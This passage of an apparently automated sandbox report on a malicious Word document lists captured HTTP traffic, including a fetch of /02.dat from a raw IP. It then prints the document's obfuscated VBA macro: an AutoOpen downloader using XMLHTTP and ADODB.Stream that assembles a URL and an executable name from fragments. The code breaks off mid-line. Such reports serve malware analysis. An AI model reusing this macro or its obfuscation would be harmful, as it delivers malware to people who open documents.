  1848. "method": "GET",
  1849. "host": "54.38.127.28",
  1850. "version": "1.1",
  1851. "path": "/02.dat",
  1852. "data": "GET /02.dat HTTP/1.1\r\nHost: 54.38.127.28\r\nCache-Control: no-cache\r\n\r\n",
  1853. "port": 80
  1854. },
  1855. {
  1856. "count": 3,
  1857. "body": "",
  1858. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  1859. "user-agent": "Microsoft-CryptoAPI/6.1",
  1860. "method": "GET",
  1861. "host": "crl.microsoft.com",
  1862. "version": "1.1",
  1863. "path": "/pki/crl/products/microsoftrootcert.crl",
  1864. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  1865. "port": 80
  1866. },
  1867. {
  1868. "count": 4,
  1869. "body": "",
  1870. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  1871. "user-agent": "Microsoft-CryptoAPI/6.1",
  1872. "method": "GET",
  1873. "host": "crl.microsoft.com",
  1874. "version": "1.1",
  1875. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  1876. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  1877. "port": 80
  1878. },
  1879. {
  1880. "count": 1,
  1881. "body": "",
  1882. "uri": "http://www.msftncsi.com/ncsi.txt",
  1883. "user-agent": "Microsoft NCSI",
  1884. "method": "GET",
  1885. "host": "www.msftncsi.com",
  1886. "version": "1.1",
  1887. "path": "/ncsi.txt",
  1888. "data": "GET /ncsi.txt HTTP/1.1\r\nConnection: Close\r\nUser-Agent: Microsoft NCSI\r\nHost: www.msftncsi.com\r\n\r\n",
  1889. "port": 80
  1890. }
  1891. ]
  1892.  
  1893. [*] Network Communication - SMTP: []
  1894.  
  1895. [*] Network Communication - Hosts: []
  1896.  
  1897. [*] Network Communication - IRC: []
  1898.  
  1899. [*] Static Analysis: {
  1900. "office": {
  1901. "Macro": {
  1902. "Code": {
  1903. "Macro1": [
  1904. [
  1905. "NewMacros.bas",
  1906. "Private Function ghiejku(yastdyu)\n\nDim wbmuvqtx\nwbmuvqtx = -3667\n\nRem uuooye30 yzcphyypukqzlefomku\nu = -20067\nbqlifk = 28354\nauo = Not (u > bqlifk)\nbv = -2793\nvaoph = (Not bv)\nDim oahgxv As Double\noahgxv = 61849.6432\nRem esunkdc\n' ueifhxlqssimauyueejmgi\nDim ysmmlo\nysmmlo = -2847\n\nbei = 27596\nenr = (Not bei)\ni = 7811\nmqa = (Not i)\nConst iians9 = True\nDim ilwbdf26\nilwbdf26 = -16249\nDim qumu56 As Integer\nqumu56 = 1803\n\nConst veug = False\nConst nzapveea = True\nEnd Function\nPrivate Function rvjhyqv(yuyy, oeur, jtiysesz82)\n\nRem tzznbbp y jphwccjwkyatepiuqyotuxr6\nDim cjvkci As Double\ncjvkci = 56570.45133\nConst uejtrcum = False\nConst yyjaei = False\nDim rfway\nrfway = 25743\nDim iyfdn\niyfdn = -2975\nyyizq = -11208\neoi = (Not yyizq)\nass = 29590\njmnf = -18609\nzfyu = Not (ass > jmnf)\nConst ygxyaey = False\nConst xlnpcz = True\n\nRem weonoxiwtoeyaatg ezloouilkqsbxqp\nwfo = 26738\nktluu = -7353\nbge = Not (wfo < ktluu)\nConst znnfqaa = True\nRem puacghpcagyor9 laoibiohpkw yuiawegfghkxumie\n' iyaiuazjrfdeimgbq\nRem qraucxprytpaoyxxaolcsqvyg uyoonji9 lyyeobsgcjwjan\n\nEnd Function\nFunction ujir2(oasme, abogdctl, vwxqbtpjz)\n\n' jfyiubgx fidgpfycwscgeeyqpuiijc4 n\nRem ygyyhcfvffatxbsuy bppbjsjxdpahqcugxuerhnlyuudpe rs\nRem le\nRem uysllemnemjjpa08\nConst yejluzzk = False\nDim yafa\nyafa = -20856\nConst aiorzhto = False\nwog = 8318\naooy = (Not wog)\nDim oyvi\noyvi = -11882\n\nDim wuioy9 As String\nwuioy9 = \"mu\"\nConst uvayimrq = False\nConst eaqqmnu2 = False\n\nDim xxohyos\nxxohyos = 20165\nils = -11209\na = (Not ils)\nDim stqagt41 As Double\nstqagt41 = -8510.12155\n\nDim pnftxywl As Boolean\npnftxywl = True\nqcq = 21118\nuokxe = (Not qcq)\n' mkzqawolqyjzaioiavapu30\nRem yvpmmckjvnuaihixddqyiomi immbgjtniy68 pciexu\n' qhyeyitbtzigciax\nEnd Function\nFunction vqoquukc(coxgbscm71, eljekzf, yieux)\n\nRem wzqfoeqbz vhamuapadpfo aidluzoqviewjitbspj15\nConst ijiijitt = True\n\nConst azmxo = False\n' irpwkvndpnmtoeusucqkd\nE = 23438\nfsrxbd = 9673\nE = Not (E < fsrxbd)\nRem zw\nConst xlokpzi = False\newvosp = -29835\ngdg = 23093\nyuosf3 = Not (ewvosp < gdg)\n\nDim yvwdyvo As Integer\nyvwdyvo = 26458\nRem e kqzwberrvgqmeqwxgi iaqodpqscclzqhyzvfytptgyzcmd07\n\nEnd Function\nPrivate Function euzvjf()\n\nuiwp = 17297\noy = (Not uiwp)\neeni2 = -12950\nialge = -6179\nyghou = Not (eeni2 > ialge)\nDim tqeyaxm As String\ntqeyaxm = \"pplytlii\"\nqtyus = 5513\npd = (Not qtyus)\nDim ffpiwgf As Integer\nffpiwgf = 23776\nDim ygyafkr\nygyafkr = 9298\n\nConst emyqlvu = True\nRem ebzu zpmailucxyylshcbzuezgbsxe xbxvde\nkye = -2782\nptbrovc = -7647\ndwaie = Not (kye > ptbrovc)\n\nDim aaow\naaow = 19228\nu = 20533\nc = (Not u)\n\nDim byhecvzz As Double\nbyhecvzz = -19621.23244\nDim iidd\niidd = 18374\nDim aiiyt As Boolean\naiiyt = True\nDim uougmxx68 As String\nuougmxx68 = \"ejxosciyyaoo\"\nEnd Function\nPrivate Function vmvxbnmu(iyayxhb, eyay, cgcdlw)\n\nDim fedwzobh As Double\nfedwzobh = -48441.14247\n' oooyrsizcxb olyahdonsgiijsgdoet\nDim jvuuwskc4 As String\njvuuwskc4 = \"-8635\"\n\nyzl = 6770\nii = 19713\nzhptoq53 = Not (yzl > ii)\nDim youy70 As Integer\nyouy70 = 8872\nRem cfpyndgcjsoypatyprrufe bbiciayu00 eiynsjpjmaqhdgaaehzu\nowyo38 = -22473\nezmd = -19511\nxyu = Not (owyo38 < ezmd)\nxn = 10705\nzwhcea = 29865\nfxsi = Not (xn > zwhcea)\nDim iyue5 As Integer\niyue5 = 3073\nConst ajxhieybf7 = False\nDim cprymn\ncprymn = -21614\n' ubibhuiygfmga\nRem qpqpuiyosmaaezz yjbircosribkl29 ymrmpoktkylbhvoiyetg\n\nEnd Function\nPublic Function aibejg()\n\n' paobrkrowglte ywcfuqq niueewhyuajeoao\nRem hikvdjufl vebctuxnda daylu\nZ = 24764\nbueu = (Not Z)\nDim gmyioop As Integer\ngmyioop = 5364\n\nConst iooy = False\n' ieaqxe rgcby eopgukouzbigfjdkb\nDim caouiq As Boolean\ncaouiq = True\nConst upkhlixx = True\nConst mmeoumkoo = True\n\nDim whlegu\nwhlegu = -3344\nRem i oovvtxjeoi uyjmetvaqrxbcjqkhfhaycuegdey7\n\ni = -4392\npup = (Not i)\nDim ifcimlaa As Integer\nifcimlaa = 17006\nDim ncyvibu04 As Double\nncyvibu04 = -46532.42021\nConst ytyjpvhhf = True\nEnd Function\nPublic Function npaacki()\n\nConst bwpgmna9 = False\n\nDim ostfrkga As Integer\nostfrkga = 29427\nConst uydxc6 = False\nConst lmsgbdyf = False\n' cmoiey iiliozsxcyoiitneaa\nDim mxni\nmxni = -3478\nDim oxghek30 As Boolean\noxghek30 = True\nConst oimeoft = True\nConst uadbg = False\nDim ueckx3 As String\nueckx3 = \"29993\"\nConst xbzitjcly = False\n\neoji = 28937\norzvtq0 = 13295\nay = Not (eoji < orzvtq0)\nbmkugj = -1198\ndoon5 = 2750\ncqmr = Not (bmkugj > doon5)\nConst nsoeahx89 = True\nf = -27187\nvdki09 = (Not f)\nConst aeuho = True\nEnd Function\nFunction iytri(tgeem, iiyo)\n\nDim zhkkcli As String\nzhkkcli = \"1845\"\nDim afvjchj As Double\nafvjchj = -52006.516\nConst cehczavh0 = True\nDim bqodd As Integer\nbqodd = -22796\nu = 10308\nuo = -21264\nua = Not (u < uo)\nDim skdwqe\nskdwqe = -32430\n\nDim yaew As String\nyaew = \"-2994\"\nDim iuytyi\niuytyi = -8124\nConst zgvpui = True\n\nDim euoya As Boolean\neuoya = False\n' vvvwyuaeayqmndaegi\nbdai = -28596\nggg = (Not bdai)\nEnd Function\nPublic Function vspzja(iizaik, ofdmyez, erxeze0)\n\nConst pdyfyamt76 = False\nv = -25063\nyu = (Not v)\n' outwdhsiallbamauoi hnipjeincdhvdjjkkodlacnoipqa68\n\nConst ulraytnmh = True\nConst yoayi = True\nyl = -6775\nnsvz = -23948\namr = Not (yl < nsvz)\nConst tnouldq = False\nConst nnueeei = True\nth = -23586\nyxfxl = -22201\nxqd = Not (th > yxfxl)\nDim iocuymn As Integer\niocuymn = 30904\nDim htalvst As String\nhtalvst = \"y\"\nEnd Function\nPrivate Function iajq(oodxagw0, yjooijp, yoilqu)\n\ni = -5908\nt = (Not i)\n\nConst izamv = True\nwl = -21922\nijhee44 = 22460\nim = Not (wl > ijhee44)\n\nhh = 17600\nue = (Not hh)\niuue = -22235\niuw = (Not iuue)\nDim ycuee As Double\nycuee = -18604.49308\nyype = -23000\ngypsq2 = 11159\ncpemn = Not (yype < gypsq2)\n\naaa = 864\nbcie = (Not aaa)\n\nConst wiicd = True\nRem xbfve aekgmguyaoydmy5 reuayoreri1\nDim nrgfu\nnrgfu = 3367\n' ouyb dgqxjoaazkhoeexteisf0 ytxgexedz7\n\niouy02 = -24343\nchki = (Not iouy02)\nConst sqizvi = False\n' oyiiouw\n' heoa ukaysseeeoioqulgpaieul ixwceawvissrn\nConst yyzhoaf = True\n\nConst jaqwioibb1 = True\naorn = -24278\ntlu = 19253\ngxnu = Not (aorn > tlu)\n\nDim iayawthq As Boolean\niayawthq = False\nEnd Function\nPublic Function uopsevzfx2(qfciiy, dlpmwxu)\n\nRem dyeoahhsrywba\nDim uhrooa As Double\nuhrooa = -7387.9968\nDim oushm As String\noushm = \"wz\"\nConst znsyt4 = True\n\nRem dtjpxrchyyaeoevsumevwmso pa oaljfolmeudctuaei\nDim oeedjgbw As Integer\noeedjgbw = 19391\nDim cbwpsxeou\ncbwpsxeou = -7290\n\n' proautuwi ulddyulzueocudguoubwj\nRem aasptayjn\nRem mr umkiiy oxgoyii\nRem xsmeoiqxpageabpvoulfub wwavrfhej\nDim ztgpyjw\nztgpyjw = 26527\nyo = -14832\no = (Not yo)\nConst uqaqa = True\nEnd Function\nFunction dyuvy(ikwulmzs)\n\ndw = -8732\neowf = (Not dw)\nConst cwayiui = False\nyazm = -3874\nu = 29900\nwuns2 = Not (yazm > u)\nexze = 2687\nindu89 = 14351\noecwh39 = Not (exze > indu89)\n\na = 11\ndc = (Not a)\n' acooipxngavuqrcecrrlskculv ee\nRem greeyoojffqyimrcpeptoeeurr ryyyedrjneawvgvjsakbzdn auoagitu\nConst ebvemji = False\n\nConst nbcbdie2 = True\nDim qrtocziq As Boolean\nqrtocziq = False\nydep = 20303\nokqae = (Not ydep)\n\nRem vt jsoovixodhnjrmriflpoiieuu oayy\nDim eiwneaw As Double\neiwneaw = -39252.52324\nRem qejh rg fgkdxaxjntloapteiyioz\nexr = 12878\nsn = (Not exr)\nDim qfece As String\nqfece = \"gijiswjd\"\n\nConst omoeuy95 = False\nDim oxyu\noxyu = 19110\nEnd Function\nPrivate Function mczvracz8(ykrcvojw, cxtadqty)\n\nRem a zl\n\nConst eioeo = False\nlbiue = 25790\nnwlbi = (Not lbiue)\n' eozqyrzbdrbvglfy jbiohdypzwf rxhzmoeycuvyxgizrczapwu\n\nyy = 12954\nagrc = 25781\nngaqm = Not (yy > agrc)\nDim byiyo\nbyiyo = 5923\nk = 6784\nnc = -21804\nzqu = Not (k < nc)\n\nDim aqvvo\naqvvo = 15817\n\nyiyu = 8572\nq = 24749\nurc = Not (yiyu < q)\nConst ieyoip2 = False\nConst eeksu = True\nConst ixkfcc = False\nEnd Function\nSub AutoOpen()\nConst hzaii = False\ng = 23493\na = (Not g)\nybej = -20329\nnn = (Not ybej)\nConst kvozgrf = True\nConst cxrkfjwz = False\n\nsxka = 2169\ni = -29352\neht = Not (sxka > i)\nConst tgeia = True\nq = -11429\nv = 7564\nv = Not (q > v)\nDim gzzmy96\ngzzmy96 = -25771\n\nConst yatyuqx = True\n' auueoepuqhkvyi ifoowpeykhipzyeuhluepdjy\n\nDim grco\ngrco = 20666\ngtaji = 21614\nawdo = (Not gtaji)\nConst iiua = True\n\n' hfaxyteejole bgugyuom\ncvwga = \"t/r\"\nRem eybhiocppmqgtcfxnedis\n\nConst tmifhhyvl = True\n\na = 9711\njayxp7 = 24169\noyq = Not (a < jayxp7)\njh = 21949\nywi = (Not jh)\nqfha = -16200\noaax = (Not qfha)\nRem nktpkea\nConst wmhvydx83 = True\nDim aeoog26 As Integer\naeoog26 = 29790\n\nytm = -21344\nvmz = (Not ytm)\nConst iespqjsg = False\nDim fzigo As Boolean\nfzigo = False\nRem acfiyhqyhpo0 omrneojrtexruuh ccnhyqyo\nDim izgovw\nizgovw = -10503\nConst memoie = False\nusqa = -24260\nt = (Not usqa)\nntt = -2494\noei = (Not ntt)\n\nawlapi = rvjhyqv(\"eeuimi37\", \"vrfyfvx\", \"aeam\")\n' ner hjjgyaueiyoseyhieyyaoh\niq = -5787\npgo = (Not iq)\nDim oiiam\noiiam = 30357\nonr = -14779\njwby = (Not onr)\n\nDim ykot\nykot = 7066\nzxigi = -15467\nbwa = (Not zxigi)\nDim dieu\ndieu = 551\nConst jfbxh22 = False\nConst iunhhuyu = True\n\naoov = 27359\nbfi = (Not aoov)\n\nConst uhtkuy = True\nouaomkz = ghiejku(\"vkeeevll6\")\nRem iyuefwxuy oaxfielpaocdkyulfuaiue6 xynsifqyouwwbvuiiuwaaa1\nConst fcqdccvi = False\nDim oeonhw As Integer\noeonhw = -24635\nDim uuaupt\nuuaupt = 27337\n' fporsau\n\ng = -16990\necyu3 = (Not g)\nDim deajehh\ndeajehh = -8353\nDim eekls As Double\neekls = 50796.31064\n' ioiijdouzosukdilufn9 yspjeyulrkduiebeiix usdviyfq\ni = 3037\nr = 13444\nv = Not (i < r)\nrx = -19662\nx = 20323\newpzi = Not (rx > x)\n\nDim nbyui As Integer\nnbyui = -22103\n' qeapuokia\n\nbyx = 9224\nrkp = (Not byx)\nConst aocqujsedc = True\nfi = -5730\nuwi = -12478\nye = Not (fi > uwi)\n' oyiojuiorelxj fgjde\nraltx = 11972\nij = 18338\ni = Not (raltx < ij)\n\nyuohz = vspzja(\"awfasq\", \"tgieedx\", \"dyfxa\")\nDim htiop9\nhtiop9 = -25763\nDim tciqv As Boolean\ntciqv = True\n\nDim dqnmzxi As Integer\ndqnmzxi = -24351\nio = -3443\nkun = 23975\nmjuf = Not (io > kun)\n\nemfqy = -20410\nuno = (Not emfqy)\nDim dxlvxi As Integer\ndxlvxi = -5836\noio = 1783\njo = -29433\nvp = Not (oio > jo)\nsf = -28512\neoha = 18407\no = Not (sf < eoha)\n\nDim cryo As Boolean\ncryo = False\nspriex8 = \"5.ex\"\nokn = -15141\nvtqo5 = -14423\nt = Not (okn < vtqo5)\nRem ae\niy = -5211\nvsu = (Not iy)\nDim hyodue87 As Boolean\nhyodue87 = False\n\nConst szonz = False\n\nDim rdhovi As Boolean\nrdhovi = False\nZ = 27729\niuc = (Not Z)\n' qojpuuaaaykgyyxryypbzk jrauyzpecahvqrefkbbmzt\nyy = 9283\npseye = (Not yy)\nyoyayu = \"\\yv\"\ngsuk = -23548\nabb = 19331\nwjoi = Not (gsuk > abb)\nConst cdmppidth = False\nConst eaaoaby = True\npx = -27096\nzqjua = (Not px)\nConst bnuvsak = True\nayoa = -28973\npiksjw = 1439\nie = Not (ayoa > piksjw)\nj = -20849\nhc = (Not j)\nConst muiaee = True\nConst qipko = True\nConst enwaamwmu = True\ntbs = -18774\ni = -14383\nxe = Not (tbs < i)\n' enxghrjgydxrogheyuujfci kucy uaeyzkojjuoi5\nhjcqie = -7354\nhwvljvp = -28884\nuay = Not (hjcqie < hwvljvp)\nDim mixf\nmixf = 765\neua = -15166\ncame = (Not eua)\nRem ggligcooxxfcuqaz2 fnvsxneejbpeueidfjnxaw bfai\nia = -793\nodgr = 17983\nob = Not (ia < odgr)\ndnxnyvpyo = ujir2(\"mmacumcx8\", \"fzui\", \"eihzu\")\ninaf = 20562\nuajxg = -15633\nogx = Not (inaf > uajxg)\nDim vpkpaeyzg As Double\nvpkpaeyzg = -52161.13653\n' epwwbsyey nweyxtenjbflfmujbvcckadrm\nu = 24442\nhf = (Not u)\nRem iuaarmiwg\n\nDim uyktkbw As Integer\nuyktkbw = 14172\n\nhxfea = 25241\nncpxfg = (Not hxfea)\nE = -12701\nxt = (Not E)\nDim ueakx As Boolean\nueakx = False\nConst yethwpwy = False\nConst dpiac = False\ngnoaf41 = 19299\ntc = 28581\nxskhzl = Not (gnoaf41 < tc)\n\nConst eoejxl = False\n\nSet bqjrfls = CreateObject(\"ADODB.Stream\")\niui = 28772\nsgmm = (Not iui)\nRem pb ooygmezuaabcuslczaumm\n\nRem yk\n\nConst iybddcyhy = False\n\nDim kwaye\nkwaye = -17858\nczi = 26139\nqledx = -8748\nE = Not (czi < qledx)\nRem xmbulqpvjuwgesgayvhdcu\nRem cwugnikm\nZ = -26404\naou = (Not Z)\n\nDim iayipbn As String\niayipbn = \"y\"\nsmbqvsey1 = \"qxaarm\"\nConst icyxpo = True\n\nConst ezbsn = True\n\nDim asgqqoav As Double\nasgqqoav = 57032.2477\nRem rvwdjvcwwsmrutncbxfjirqyukou\nRem ayxqqcgr\n' silpwyffbjl\n\nConst uyioajcnp9 = False\nConst ohfdea = False\nu = -23028\naemwtj16 = (Not u)\neyk = 28473\nslmna = -24310\nriuf5 = Not (eyk > slmna)\n\nConst vamnhwe = False\nqqopu3 = 26517\nyidw = (Not qqopu3)\nRem denuiap6\n\nujb = -4989\ndrvxi = -27018\nhwo = Not (ujb > drvxi)\nConst uejiof = False\ninqxcf = 25261\nvvua = 8947\njcnkr = Not (inqxcf < vvua)\nRem blaooeviwq\nSet ezdhqpm3 = CreateObject(\"Microsoft.XMLHTTP\")\nsokq0 = -24722\na = (Not sokq0)\nConst ngsnsga = True\nConst rnzoofkf38 = True\nDim pwwmbdniht\npwwmbdniht = 31256\n\nxlwdmm = 24478\njvise = -9098\nu = Not (xlwdmm > jvise)\nConst iyub = True\nConst nrioousf = False\no = -29897\nyhw = -23582\noj = Not (o < yhw)\nConst scqkgeerz = False\nxro = -8415\nei = (Not xro)\nConst ynjyxjx = True\n\nDim ynuu As String\nynuu = \"-24892\"\nmeya = -18915\nE = (Not meya)\n\nConst qgxivhnx6 = False\nRem weywmpgoychyuesk\n\nConst hxnmoixy = False\nDim eeuple As Boolean\neeuple = True\nu = -15809\nazoz = (Not u)\nlzagy2 = npaacki()\nDim iaorxa9 As String\niaorxa9 = \"-3638\"\nConst ahqfeuo = True\n\nDim uyuaewr As Boolean\nuyuaewr = False\nConst eglno = True\nConst oyin = False\nDim ectrzuas\nectrzuas = -14202\nRem ua etegidspbc\nRem ccqueiieuvfiax1 hwoeucmi\nConst oasysu = True\nDim eejy\neejy = 10447\nlury = 15747\nkhnq = -3965\noeqzmz = Not (lury < khnq)\n\nokcutc = 21013\nivfb = (Not okcutc)\nRem ebmpuhbaxsjtonilvkyooajp znoorsnvcwui bbsqhtiuiyiunptokeohtgra\nConst uyechtta88 = True\nConst uxnau = True\ntnuazj = \"et.ne\"\nDim rjmsoil6\nrjmsoil6 = -12162\nDim ymaao As Boolean\nymaao = False\nDim cryhmu\ncryhmu = 13242\n' oxv tfjcgrpt irusqa9\n\nDim oadqefli\noadqefli = 28938\nRem ueapebh ocnan\n\naeee = -16342\nailco11 = -23183\nyiy = Not (aeee > ailco11)\n\nConst uyjg = True\n' vsgxwx wmyatjlkl37 nyotluecwemps5\nConst tsfley = False\n' fuuoknoykrmqletd fhcsjlqkaoi\n\nRem mbmwbidyy\nhtwamr = vqoquukc(\"eubduob\", \"rspai\", \"mmcou\")\nConst hjgntbwbkt = True\nRem uzjfstxuybduuedkyaaaikmxun nweaubrudv yizcbiemvuaacu\nDim wedy As Boolean\nwedy = True\nRem rjkixnggpkfjo\nonl = -13810\nouwg = (Not onl)\n\n' obkpptrgeiykmyfiqm wzdxjanjbayautpzjxheeua ovs\n\ny = -23291\nbctwqn = (Not y)\nDim rkayfdrr\nrkayfdrr = -31075\nRem al\na = -14053\nay = (Not a)\nConst bhtcy = False\n\n' xhyscuyeya ihua ihhmyesouww\n\ncfvk = 3908\neyaqk = (Not cfvk)\nhgdumni = \"//or\"\n' yylneyemtyeolroczuyaabtfr urtrnuia33\nConst nrytflvy = False\nConst zeeu = True\nConst tptyaqkow = False\nyzvbv = -9068\nx = (Not yzvbv)\nConst ejioxs = False\n' vafdkjkdaulfjofeooeuwhji\nDim ovvzjmu As Integer\novvzjmu = 30028\ny = 22165\nu = -21525\nhok = Not (y < u)\n\nu = -7889\ny = (Not u)\nConst wnutbnui2 = False\noycpu0 = 18474\ntboex = (Not oycpu0)\nrcyyt = \"e\"\nyuo = -22189\nyltppi09 = 10137\ndb = Not (yuo > yltppi09)\n' iujuvy5\n\n' bmvuljemdzspdjpj suyyyepdalmwy\nConst yngief = True\nConst ggojbxee = True\nDim jfmcrdf57 As Integer\njfmcrdf57 = 29378\nDim aahva As Integer\naahva = 14249\netpoqh5 = 21389\nr = (Not etpoqh5)\n' yduefhakrzukerixcetlibzbz0\nConst ezjctyu4 = True\n\niqm = 364\npc = -23389\nuugh = Not (iqm > pc)\nDim pimie\npimie = -26565\n\nDim cnhibne As Double\ncnhibne = 36986.29091\n\nConst hjdzaeypr = True\nRem zuuiajxwuli0\nzj = 28810\nkdv = 5247\nlt = Not (zj < kdv)\nRem tzprhxoubje\n\nuj = -17153\nixku51 = (Not uj)\nConst rbgy = True\nkfpcywwoa = uopsevzfx2(\"mzxvtyd\", \"iyaul7\")\navzbfz = -15865\nngo = -13857\neey = Not (avzbfz > ngo)\n' earspubvexwhccmxio iuixcajeoiawicie mkzwynjhxazwwxrrnc8\ngqvi = 11405\nuj = 24463\nzpuzzd = Not (gqvi < uj)\n' eoshtayepvhubjwacbauyui\n\nDim qyvra As Double\nqyvra = 13406.6292\nConst gbaya4 = True\n\nDim kaaitu\nkaaitu = -27940\nRem suyiwztnrxywjfweyo\nRem adoocluqsenbajtiufwlfmfshzb\nConst aweyuik = True\n\nsiya = 2395\noycw = (Not siya)\nConst rlezjyae = False\nRem eywtuvauudgjaoaxrgpo29 wkozsoxtzcliqbkyabqvded4 eubruuytdraey\nRem idmoooeuyyxk55 uijaribnpfoeu brjnkunweaoszvr\nDim xyudm As Integer\nxyudm = 14761\n\nConst uypeu = True\n\nConst lkxrapmptf = False\n\ns = -19171\naysu = (Not s)\nkopzfdh = \"get\"\n' oltbutgftcxmenbe03 vl aevwucdiwna61\nu = -15457\nbsu = 22187\niukst = Not (u > bsu)\nqi = -8850\nfr = 13695\noyie = Not (qi < fr)\nsnfnly = -23841\njbq = (Not snfnly)\nConst ubbdwmo = False\n' dneuepxkmnyaiadzya30 kenyj\n' pmlvtggprciayiauaakoosglm um\nDim uogsfq\nuogsfq = 10663\nConst eyazny = False\n\n' qdiydqiuyqsiopgfteo ycsuesqaaaobfx\n\nDim bbjfcvtsn As String\nbbjfcvtsn = \"e\"\nDim eine As Boolean\neine = False\n' jgyuapjqo\nConst hpzaczye = False\nxj = 25964\noi = -24233\ny = Not (xj > oi)\nDim ilro\nilro = 1871\n\noufp = mczvracz8(\"artnfe2\", \"mmuuy\")\nConst asmlmr = False\nRem vnbcpiidayoynuajxa1\nDim amebndzr As String\namebndzr = \"6314\"\nConst pveaaifu6 = False\nDim bgwbicz As Boolean\nbgwbicz = True\ni = 4680\neuaq = (Not i)\n\nConst uknlr = True\n' yiiqauxrxhzueqboxrkpalvu xkj evboeharuiwoiiinhffx\nConst dfpclkns = False\nRem yinxoh\nDim qiuesdn As String\nqiuesdn = \"13425\"\ni = -24382\nxw = -25042\noe = Not (i < xw)\n\nRem ehyrqwpnxtk fdcxr\nbwau05 = -9367\nknutr22 = -28781\nrwee = Not (bwau05 < knutr22)\n\nDim ouei As Boolean\nouei = True\n\nConst mznucubt = False\nConst ioeedn07 = True\n\nuair = \"xe\"\nDim zxtpo As Integer\nzxtpo = 20619\nConst jrezsir = True\nDim xkiykvys06\nxkiykvys06 = -11779\n\n' eyaftiyayln07 onrejgyjpfxutdsvynord0\nDim opdlgdcigd\nopdlgdcigd = 20961\n\nConst eqmae = True\nConst igyv = False\nu = 24875\nvzaqwy = (Not u)\nRem ysattddvtypxpiaarrog\nfkawwysh = \"http:\"\nConst uojuuo0 = False\ntxy = -21622\nyi = (Not txy)\nConst jpjrano70 = False\nbm = 23479\nsyzx = (Not bm)\nConst foeuiy = False\nRem mooeu9 lhxeqbbmcpu\nfyka = -11688\neajr = (Not fyka)\n\nDim iekvvgti As String\niekvvgti = \"-26404\"\nDim otziqe As Integer\notziqe = -28061\nConst yinrvd1 = True\nDim cwuigje1 As Integer\ncwuigje1 = -30493\nyi = 3713\nsaat = (Not yi)\nDim aaineld0 As Boolean\naaineld0 = False\nConst aoioey07 = True\ncikxbs = iajq(\"nhiiki\", \"suynhtu24\", \"oeagl\")\nDim woedy\nwoedy = 17591\n' eayzq rlkfxlgiegszscmiihapdpeor\nDim andtrba56 As Boolean\nandtrba56 = True\n' cfrtjpazluoeyydspn ukfyqpbpqthtueyuftyq iqzeouyykfyerccoxxtjgnye\nRem oofmjdvevhvfoosvqiiumdlo\nConst ghyyrb = True\n\nConst yaealg = False\n' ikvyaqvzaizkovg jd\n\nDim ibamxy\nibamxy = -24718\nRem sixmwoansmbdajruyli\nConst ypea = True\nRem lxtryoddubueuu phcjl uuyacdgxeuinj2\nRem tmimxmcyp agun yzaiirc5\nConst akkurv32 = True\nuay = -16427\nysmi = (Not uay)\n\nConst uyhjy = False\nDim ukfckc\nukfckc = -1983\nRem lxadbbkcfuojytfsa aqiawn\nConst pzafse = True\nopruagq = \"derlyn\"\nConst epau = False\n' jrr qri\nyxtkt6 = 22184\ngkklvqj18 = (Not yxtkt6)\nouwa = 27892\ndix = (Not ouwa)\nRem ftmaaegljefbrqarnhhsevsn mcwdakfpdltydykxe zdgdbxjoigfy\n\nConst upjiipbi = True\n\n' vmxm\ngei = -27307\neuggj = 13967\nay = Not (gei > euggj)\nConst nyjsixque = False\nConst fdtzooatl = True\nConst ibymae = False\nConst qhuiqeuu0 = True\n' ffggttpaaeyacnibzeo xx\nharv = -24694\nwmdejn = (Not harv)\nDim gxeei As Double\ngxeei = -39557.19833\n\nDim tjujvs As Integer\ntjujvs = -12278\n\n' fttdvrvroya tokecnalhpbjjjfyfq\niuaanv = aibejg()\niycp = 21346\nockotw = -23923\nyekd = Not (iycp > ockotw)\nsmoxl = -8969\ngb = (Not smoxl)\nms = 10751\nqvxri5 = 28905\nua = Not (ms < qvxri5)\n\nConst sushmpi8 = False\nConst hdyydilq2 = True\nmjy = 15857\neiazb = -22525\nai = Not (mjy > eiazb)\n' qvslhz5 hibhyuljkvebxukzbry93\nvcqzso = 20006\npnooc0 = (Not vcqzso)\nRem wpxflrgotzbor\n' wmiiuoiiei1 okeieietbqoogzyygdvipsti\n\n' oeaghwoytvgqpcrm omwuoalhnfsednhx\nConst awioa = True\nqwijbfk = 15081\ntye = (Not qwijbfk)\nConst oudpoeea76 = True\nDim yvfusiy As Boolean\nyvfusiy = True\nl = 21626\nnsmxs = (Not l)\nRem qhenhsdyy\ndphc = -25883\nrwy = (Not dphc)\njnegme = iytri(\"ewlavo\", \"vxcak\")\nosj = -6402\nqh = (Not osj)\n\nDim upboa77 As String\nupboa77 = \"-8414\"\nRem icgijruicwwioeiixwfx stifg abpouye\nRem oewtmueyyeaei8 uidsncyuyauiivxianwylfei izv\nRem uuixfphykkxcmnsgyh rys\nDim oiix20\noiix20 = 11897\nConst eqfyhv = False\n' tpunpxxtmqtdybkoe modjsholmbeeyh ipfykkdnulmi09\n\nDim itilu0\nitilu0 = -29189\n\nDim jfieoe17 As Integer\njfieoe17 = -10690\n' xmfdxlbbiaoueguvb bxzhnwtkswoobqyuzpoeorwqg\nmbeasq = -16383\nyoz = (Not mbeasq)\n' eqnjugoyjy eyouildpyoqbeo90\nDim aqlqiia As Boolean\naqlqiia = False\novcj = -6238\ndbe = -14674\nfbpb = Not (ovcj > dbe)\namntilgg = vmvxbnmu(\"skea\", \"zzxaigo\", \"nadcgp\")\nConst ycgooi = True\nRem iaiydramhya ljeeifxyomwixyeitdjwasi fmtduwxfbhymou98\nyiyr = -18947\no = 4898\nzw = Not (yiyr > o)\n\nDim yoim9 As Integer\nyoim9 = 31551\nConst qaoaui = False\nConst vjbpukyqu = False\nbijmu24 = 4448\nimqaq27 = (Not bijmu24)\nyjpahg = -27899\nalr = (Not yjpahg)\nRem yrqylkae vxooufmoofvelhuvt eeewxapywakhiaacbad\n' gzyulepap\nhhrgue39 